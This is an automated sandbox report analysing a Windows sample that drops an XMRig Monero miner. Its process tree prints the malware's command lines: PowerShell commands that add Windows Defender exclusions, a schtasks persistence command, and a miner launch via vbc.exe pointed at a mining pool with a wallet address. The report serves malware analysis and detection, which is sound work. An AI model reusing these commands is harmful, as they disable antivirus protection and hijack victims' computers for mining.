Analysis
- max time kernel
111s - max time network
160s - platform
windows10-2004_x64 - resource
win10v2004-20220812-en - resource tags
- submitted
09/12/2022, 00:17
General
- Target file.exe
- Size 4.4MB
- Sample221209-ak3dtabh82
- SHA256 bd8322ca81f42d51423c11ba7a4a772c47d5a0abc5d9cc5da4fcb0c83f725b22
Malware Config
Signatures
- xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
- XMRig Miner payload 5 IoCs
- Executes dropped EXE 1 IoCs
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Uses the VBS compiler for execution 1 TTPs
- Suspicious use of SetThreadContext 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
- Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Delays execution with timeout.exe 1 IoCs
- Suspicious behavior: EnumeratesProcesses 13 IoCs
- Suspicious behavior: LoadsDriver 1 IoCs
- Suspicious use of AdjustPrivilegeToken 8 IoCs
- Suspicious use of FindShellTrayWindow 1 IoCs
- Suspicious use of WriteProcessMemory 32 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\file.exe"C:\Users\Admin\AppData\Local\Temp\file.exe"1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming'2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpB5F7.tmp.bat""2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\timeout.exetimeout 33⤵
- Delays execution with timeout.exe
-
-
C:\ProgramData\common\JTPFKOXW.exe"C:\ProgramData\common\JTPFKOXW.exe"3⤵
- Executes dropped EXE
- Checks computer location settings
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming'4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "JTPFKOXW" /tr "C:\ProgramData\common\JTPFKOXW.exe"4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\schtasks.exeschtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "JTPFKOXW" /tr "C:\ProgramData\common\JTPFKOXW.exe"5⤵
- Creates scheduled task(s)
-
-
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe -o xmr-eu1.nanopool.org:14433 -u 4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQoBJqYKAGMEQrLE8L8 --tls --coin monero4⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
-
-
-
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
JTPFKOXW.exe
JTPFKOXW.exe
powershell.exe.log
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
tmpB5F7.tmp.bat
memory/2020-199-0x000001E151530000-0x000001E151570000-memory.dmp
memory/2020-200-0x000001E151570000-0x000001E151590000-memory.dmp
memory/2020-190-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/2020-203-0x000001E151590000-0x000001E1515B0000-memory.dmp
memory/2020-195-0x000001E14FA60000-0x000001E14FA80000-memory.dmp
memory/2020-194-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/2020-198-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/2020-202-0x000001E151570000-0x000001E151590000-memory.dmp
memory/2020-201-0x000001E151590000-0x000001E1515B0000-memory.dmp
memory/2020-193-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/2860-189-0x00007FFE4F0A0000-0x00007FFE4FB61000-memory.dmp
memory/4016-185-0x00007FFE4B960000-0x00007FFE4B995000-memory.dmp
memory/4016-178-0x00007FFE4F0A0000-0x00007FFE4FB61000-memory.dmp
memory/4016-197-0x00007FFE4F0A0000-0x00007FFE4FB61000-memory.dmp
memory/4016-196-0x0000000003300000-0x0000000003341000-memory.dmp
memory/4016-191-0x0000000000350000-0x000000000081A000-memory.dmp
memory/4016-188-0x00007FFE69020000-0x00007FFE6905B000-memory.dmp
memory/4016-187-0x00007FFE6B7A0000-0x00007FFE6B80B000-memory.dmp
memory/4016-164-0x00007FFE4FB70000-0x00007FFE4FC1A000-memory.dmp
memory/4016-165-0x00007FFE6BE40000-0x00007FFE6BEDE000-memory.dmp
memory/4016-166-0x00007FFE67B70000-0x00007FFE67B82000-memory.dmp
memory/4016-167-0x00007FFE4EFE0000-0x00007FFE4F09D000-memory.dmp
memory/4016-168-0x00007FFE6B910000-0x00007FFE6BAB1000-memory.dmp
memory/4016-171-0x00007FFE6B430000-0x00007FFE6B45B000-memory.dmp
memory/4016-170-0x0000000000350000-0x000000000081A000-memory.dmp
memory/4016-172-0x0000000003300000-0x0000000003341000-memory.dmp
memory/4016-169-0x00007FFE4F0A0000-0x00007FFE4FB61000-memory.dmp
memory/4016-173-0x0000000000350000-0x000000000081A000-memory.dmp
memory/4016-174-0x00007FFE4D740000-0x00007FFE4D88E000-memory.dmp
memory/4016-186-0x00007FFE48CD0000-0x00007FFE48DD2000-memory.dmp
memory/4016-183-0x00007FFE6A410000-0x00007FFE6A437000-memory.dmp
memory/4048-179-0x00007FFE4F0A0000-0x00007FFE4FB61000-memory.dmp
memory/4048-182-0x00007FFE4F0A0000-0x00007FFE4FB61000-memory.dmp
memory/4248-134-0x00007FFE6BE40000-0x00007FFE6BEDE000-memory.dmp
memory/4248-142-0x0000000000F70000-0x000000000143A000-memory.dmp
memory/4248-138-0x00007FFE4EFE0000-0x00007FFE4F09D000-memory.dmp
memory/4248-139-0x00007FFE6B910000-0x00007FFE6BAB1000-memory.dmp
memory/4248-148-0x0000000000F70000-0x000000000143A000-memory.dmp
memory/4248-133-0x00007FFE4FB70000-0x00007FFE4FC1A000-memory.dmp
memory/4248-149-0x0000000001C00000-0x0000000001C41000-memory.dmp
memory/4248-150-0x00007FFE4F0A0000-0x00007FFE4FB61000-memory.dmp
memory/4248-136-0x0000000001C00000-0x0000000001C41000-memory.dmp
memory/4248-137-0x00007FFE67B70000-0x00007FFE67B82000-memory.dmp
memory/4248-144-0x00007FFE4F0A0000-0x00007FFE4FB61000-memory.dmp
memory/4248-135-0x0000000000F70000-0x000000000143A000-memory.dmp
memory/4248-143-0x00007FFE4D890000-0x00007FFE4D9DE000-memory.dmp
memory/4248-140-0x00007FFE4F0A0000-0x00007FFE4FB61000-memory.dmp
memory/4248-141-0x00007FFE6B430000-0x00007FFE6B45B000-memory.dmp
memory/4336-153-0x00007FFE4F0A0000-0x00007FFE4FB61000-memory.dmp
memory/4336-156-0x00007FFE4F0A0000-0x00007FFE4FB61000-memory.dmp
memory/5052-152-0x00007FFE4F0A0000-0x00007FFE4FB61000-memory.dmp
memory/5052-159-0x00007FFE4F0A0000-0x00007FFE4FB61000-memory.dmp
memory/5052-151-0x000002C5BAC20000-0x000002C5BAC42000-memory.dmp